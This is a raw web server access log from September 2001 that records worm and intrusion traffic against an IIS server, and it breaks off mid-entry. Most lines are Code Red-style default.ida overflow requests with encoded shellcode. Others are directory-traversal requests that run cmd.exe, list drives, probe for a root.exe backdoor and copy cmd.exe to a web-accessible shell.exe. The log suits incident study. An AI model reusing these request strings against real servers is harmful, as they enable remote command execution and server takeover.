/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 14:59:14: bus205-235.gsb.columbia.edu [128.59.205.235] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 15:01:42: ksgb065.harvard.edu [128.103.192.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 16:02:58: webserver.islamicb2b.com [] "" 20010905 16:32:20: [64.224.117.161] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\shell.exe" 20010905 17:16:50: [61.174.140.192] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 19:08:40: w2kdc1.jpl.nasa.gov [128.149.143.204] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 20:13:48: [217.59.3.235] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 22:08:33: buzz.Colorado.EDU [128.138.129.23] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 01:03:40: 61.141.GD.CN [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 03:29:09: [128.238.147.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 06:13:40: mail.hemsleyfraser.co.uk [195.166.25.212] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 07:17:01: 194-208-242-010.TELE.NET [194.208.242.10] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 13:32:17: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 15:32:25: [128.164.205.94] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 15:52:06: ap_tp_acs17_051.ap.infosel.net.mx [148.246.43.56] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 16:04:32: dynamic-31-211.dyn.columbia.edu [128.59.31.211] "GET / HTTP/1.1" 20010906 16:16:50: c1841195-a.plstn1.sfba.home.com [24.12.46.110] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 19:01:45: [202.155.120.181] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 23:29:25: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:29:49: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\+/a HTTP/1.1" 20010906 23:30:08: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:\+/a HTTP/1.1" 20010906 23:30:27: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+e:\+/a HTTP/1.1" 20010906 23:30:46: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+f:\+/a HTTP/1.1" 20010906 23:31:04: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+g:\+/a HTTP/1.1" 20010906 23:31:23: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+h:\+/a HTTP/1.1" 20010906 23:31:42: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+i:\+/a HTTP/1.1" 20010906 23:32:00: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+j:\+/a HTTP/1.1" 20010906 23:32:19: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+k:\+/a HTTP/1.1" 20010906 23:32:38: [64.224.2.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+l:\+/a HTTP/1.1" 20010906 23:32:56: [64.224.2.35] "GET /msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:33:15: [64.224.2.35] "GET /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:33:34: [64.224.2.35] "GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:33:52: [64.224.2.35] "GET /msadc/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:34:11: [64.224.2.35] "GET /_vti_bin/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:34:29: [64.224.2.35] "GET /scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:34:48: [64.224.2.35] "GET /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:35:07: [64.224.2.35] "GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:35:25: [64.224.2.35] "GET /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:35:44: [64.224.2.35] "GET /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1" 20010906 23:36:03: [64.224.2.35] "GET /scripts/root.exe?/c+dir HTTP/1.1" 20010906 23:43:21: [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010906 23:57:03: dialup-cc4-67.cc.columbia.edu [128.59.3.76] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 02:49:29: [132.247.7.41] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 02:57:10: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 02:58:22: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 02:59:37: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 03:05:05: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 03:05:28: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 03:07:18: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 03:13:46: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 03:32:48: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 03:43:40: [128.123.125.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 05:13:55: [203.199.150.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 05:42:41: [61.11.40.135] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 06:27:17: rdu57-16-047.nc.rr.com [66.57.16.47] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 08:41:14: dynamic-50-100.dyn.columbia.edu [128.59.50.100] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:45:42: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:48:53: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:49:28: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:49:49: [128.164.247.32] "GET 